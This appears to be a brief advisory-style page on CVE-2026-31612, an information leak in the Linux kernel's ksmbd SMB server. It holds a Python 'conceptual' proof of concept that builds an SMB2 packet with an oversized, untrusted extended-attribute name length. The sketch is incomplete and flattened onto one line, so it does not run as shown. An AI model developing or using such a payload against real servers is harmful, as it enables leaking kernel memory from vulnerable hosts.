CVE-2026-31612 Linux Kernel ksmbd信息泄露漏洞

import socket import struct # Conceptual PoC for CVE-2026-31612 # This script demonstrates sending a malformed SMB2 packet to trigger the vulnerability. # Note: This requires a vulnerable ksmbd server and a valid SMB session setup. def create_malformed_ea_request(): # SMB2 Header (Simplified) smb2_header = b"\xfe\x53\x4d\x42" # Protocol ID smb2_header += b"\x40\x00" # Structure Size # ... other header fields ... # Malformed EA Request # Setting EaNameLength to a large value without sufficient buffer data ea_name_length = 0xFFFF # Malicious length ea_data = b"A" * 10 # Minimal actual data # Construct the payload (Structure depends on specific SMB2 command) # This is a representation of the logic flaw payload = struct.pack("<H", ea_name_length) # Untrusted length payload += ea_data return smb2_header + payload # send_to_vulnerable_ksmbd(create_malformed_ea_request())